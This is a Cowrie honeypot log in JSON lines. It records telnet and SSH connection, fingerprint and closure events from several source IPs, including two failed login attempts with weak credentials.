{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42882,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d77d391ca03","protocol":"telnet","message":"New connection: 165.232.131.181:42882 (10.17.0.5:23) [session: 9d77d391ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:58.801160Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9fe0abc2ece","protocol":"telnet","message":"New connection: 134.209.8.29:55408 (159.203.135.109:23) [session: e9fe0abc2ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:59.292042Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38564,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa41323fc8e","protocol":"telnet","message":"New connection: 62.210.97.77:38564 (10.17.0.5:23) [session: 4fa41323fc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:59.296904Z"}
{"eventid":"cowrie.session.closed","duration":30.41415786743164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:01.183892Z","src_ip":"94.156.33.203","session":"33b0f323f60a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5749876499176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:02.169931Z","src_ip":"62.210.97.77","session":"56955ae7cf57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":45460,"dst_ip":"159.203.135.109","dst_port":23,"session":"00357073b6fa","protocol":"telnet","message":"New connection: 94.156.33.203:45460 (159.203.135.109:23) [session: 00357073b6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:02.601263Z"}
{"eventid":"cowrie.session.closed","duration":34.44435477256775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:02.704529Z","src_ip":"62.210.97.77","session":"eca5082b0c88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97000241279602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:02.730326Z","src_ip":"62.210.97.77","session":"8372ebe0cbe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721506357192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:03.213628Z","src_ip":"94.156.33.203","session":"95d4692d5bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38580,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7de89a0582","protocol":"telnet","message":"New connection: 62.210.97.77:38580 (10.17.0.5:23) [session: fa7de89a0582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:03.968568Z"}
{"eventid":"cowrie.session.closed","duration":31.82780122756958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:04.066552Z","src_ip":"62.210.97.77","session":"735a12a5b18c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87956357002258,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:05.137342Z","src_ip":"65.60.27.33","session":"b605203c45ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.489137172698975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:05.182054Z","src_ip":"65.60.27.33","session":"602b93a822a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7d00f6256f","protocol":"telnet","message":"New connection: 94.156.33.203:54488 (159.203.135.109:23) [session: 4d7d00f6256f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:05.880432Z"}
{"eventid":"cowrie.session.closed","duration":33.838430404663086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:06.460750Z","src_ip":"62.210.97.77","session":"66e82f3c73f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63125395774841,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:07.061860Z","src_ip":"62.210.97.77","session":"381315b74670","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38596,"dst_ip":"10.17.0.5","dst_port":23,"session":"434961cda8d6","protocol":"telnet","message":"New connection: 62.210.97.77:38596 (10.17.0.5:23) [session: 434961cda8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:07.164611Z"}
{"eventid":"cowrie.session.closed","duration":34.87655258178711,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:09.842592Z","src_ip":"62.210.97.77","session":"b2c7e63227c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96dbb79496f","protocol":"telnet","message":"New connection: 62.210.97.77:59132 (10.17.0.5:23) [session: a96dbb79496f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:10.937658Z"}
{"eventid":"cowrie.session.closed","duration":43.30556678771973,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:11.756380Z","src_ip":"165.232.131.181","session":"b91933856194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.57827281951904,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:12.575609Z","src_ip":"65.60.27.33","session":"b1f6997ab824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51175618171692,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:13.114780Z","src_ip":"62.210.97.77","session":"ad0d1c3b559e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50540,"dst_ip":"159.203.135.109","dst_port":23,"session":"5717753e1ae4","protocol":"telnet","message":"New connection: 134.209.8.29:50540 (159.203.135.109:23) [session: 5717753e1ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:13.952592Z"}
{"eventid":"cowrie.session.closed","duration":30.64204978942871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:14.335906Z","src_ip":"94.156.33.203","session":"1fe75e35cf8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.692421197891235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:14.456869Z","src_ip":"62.210.97.77","session":"56b33a2925d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156678438186646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:15.824504Z","src_ip":"94.156.33.203","session":"4baef002fb17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.994532108306885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:16.478618Z","src_ip":"62.210.97.77","session":"e551e2cde617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28867220878601,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:16.722686Z","src_ip":"62.210.97.77","session":"a72db0b78b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.981311559677124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:19.113248Z","src_ip":"62.210.97.77","session":"b739487f682c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ec6943fc72","protocol":"telnet","message":"New connection: 62.210.97.77:52630 (10.17.0.5:23) [session: 63ec6943fc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:19.185575Z"}
{"eventid":"cowrie.session.closed","duration":30.530840635299683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:19.338672Z","src_ip":"94.156.33.203","session":"2a13f1b65549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37808,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ab4657fb4d","protocol":"telnet","message":"New connection: 38.54.119.93:37808 (10.17.0.5:23) [session: 42ab4657fb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:19.661944Z"}
{"eventid":"cowrie.session.closed","duration":36.68248438835144,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:20.289700Z","src_ip":"62.210.97.77","session":"e336eb7980c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52642,"dst_ip":"10.17.0.5","dst_port":23,"session":"022972f7380c","protocol":"telnet","message":"New connection: 62.210.97.77:52642 (10.17.0.5:23) [session: 022972f7380c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:20.721672Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52878,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0e59660258","protocol":"telnet","message":"New connection: 65.60.27.33:52878 (10.17.0.5:23) [session: 4c0e59660258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:20.789821Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52644,"dst_ip":"10.17.0.5","dst_port":23,"session":"41471a1f328e","protocol":"telnet","message":"New connection: 62.210.97.77:52644 (10.17.0.5:23) [session: 41471a1f328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:21.158089Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0587a0adef","protocol":"telnet","message":"New connection: 134.209.8.29:55158 (159.203.135.109:23) [session: 3b0587a0adef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:22.157694Z"}
{"eventid":"cowrie.session.closed","duration":39.575340032577515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:22.165049Z","src_ip":"62.210.97.77","session":"a12fd4cfdbe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e5180f38ce","protocol":"telnet","message":"New connection: 62.210.97.77:52654 (10.17.0.5:23) [session: 99e5180f38ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:23.686742Z"}
{"eventid":"cowrie.session.closed","duration":46.35978698730469,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:23.705018Z","src_ip":"65.60.27.33","session":"a407321ceea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52658,"dst_ip":"10.17.0.5","dst_port":23,"session":"86401a51f3de","protocol":"telnet","message":"New connection: 62.210.97.77:52658 (10.17.0.5:23) [session: 86401a51f3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:24.136594Z"}
{"eventid":"cowrie.session.closed","duration":30.49849033355713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:24.250845Z","src_ip":"94.156.33.203","session":"5c915f8d489e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.904032468795776,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:24.506804Z","src_ip":"62.210.97.77","session":"b20ee9b2b193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"066cd6fda683","protocol":"telnet","message":"New connection: 62.210.97.77:52660 (10.17.0.5:23) [session: 066cd6fda683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:25.135421Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58320,"dst_ip":"10.17.0.5","dst_port":23,"session":"64fc208b08f3","protocol":"telnet","message":"New connection: 65.60.27.33:58320 (10.17.0.5:23) [session: 64fc208b08f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:25.410792Z"}
{"eventid":"cowrie.session.closed","duration":41.73270797729492,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:25.745139Z","src_ip":"65.60.27.33","session":"2597bbe49249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04339408874512,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:26.422856Z","src_ip":"62.210.97.77","session":"5c22ac098bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14226675033569,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:26.612093Z","src_ip":"62.210.97.77","session":"9d2421025ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.150742292404175,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:27.185713Z","src_ip":"165.232.131.181","session":"4e6cf0e279db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595483779907227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:27.453737Z","src_ip":"94.156.33.203","session":"0d079971ed58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93912363052368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:27.701104Z","src_ip":"62.210.97.77","session":"5d45c3a67b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33693,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae46d287b39e","protocol":"ssh","message":"New connection: 190.129.122.12:33693 (10.17.0.5:22) [session: ae46d287b39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:28.115878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:28.120881Z","src_ip":"190.129.122.12","session":"ae46d287b39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:28.288994Z","src_ip":"190.129.122.12","session":"ae46d287b39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.620617151260376,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:28.425254Z","src_ip":"62.210.97.77","session":"c6afe5f8c8b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwe","message":"login attempt [git/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:28.987752Z","src_ip":"190.129.122.12","session":"ae46d287b39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":49536,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6b206ed852","protocol":"telnet","message":"New connection: 94.156.33.203:49536 (159.203.135.109:23) [session: 0f6b206ed852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:29.341805Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58862,"dst_ip":"10.17.0.5","dst_port":23,"session":"36bad23d7219","protocol":"telnet","message":"New connection: 62.210.97.77:58862 (10.17.0.5:23) [session: 36bad23d7219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:29.506633Z"}
{"eventid":"cowrie.session.closed","duration":7.581871271133423,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:29.739421Z","src_ip":"134.209.8.29","session":"3b0587a0adef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:30.157703Z","src_ip":"190.129.122.12","session":"ae46d287b39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa30ea75423","protocol":"telnet","message":"New connection: 62.210.97.77:58864 (10.17.0.5:23) [session: daa30ea75423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:31.148750Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58866,"dst_ip":"10.17.0.5","dst_port":23,"session":"901ee7627c4b","protocol":"telnet","message":"New connection: 62.210.97.77:58866 (10.17.0.5:23) [session: 901ee7627c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:31.641561Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":43364,"dst_ip":"159.203.135.109","dst_port":22,"session":"8734f6a8f18b","protocol":"ssh","message":"New connection: 103.189.235.176:43364 (159.203.135.109:22) [session: 8734f6a8f18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:32.297954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:32.306423Z","src_ip":"103.189.235.176","session":"8734f6a8f18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:32.542675Z","src_ip":"103.189.235.176","session":"8734f6a8f18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00138902664185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:32.681940Z","src_ip":"134.209.8.29","session":"8ab017e2268f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.45633292198181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:32.753154Z","src_ip":"62.210.97.77","session":"4fa41323fc8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.21058535575867,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:33.291284Z","src_ip":"65.60.27.33","session":"ef6392e85e1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"matt","password":"admin","message":"login attempt [matt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:33.492093Z","src_ip":"103.189.235.176","session":"8734f6a8f18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"348c39a7cd37","protocol":"telnet","message":"New connection: 65.60.27.33:39438 (10.17.0.5:23) [session: 348c39a7cd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:33.669411Z"}
{"eventid":"cowrie.session.closed","duration":31.26825714111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:33.869362Z","src_ip":"94.156.33.203","session":"00357073b6fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09419107437134,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:34.710601Z","src_ip":"165.232.131.181","session":"9289fe5f875c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":49544,"dst_ip":"159.203.135.109","dst_port":23,"session":"4937a50b0227","protocol":"telnet","message":"New connection: 94.156.33.203:49544 (159.203.135.109:23) [session: 4937a50b0227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:34.719253Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:34.733730Z","src_ip":"103.189.235.176","session":"8734f6a8f18b","protocol":"ssh"}
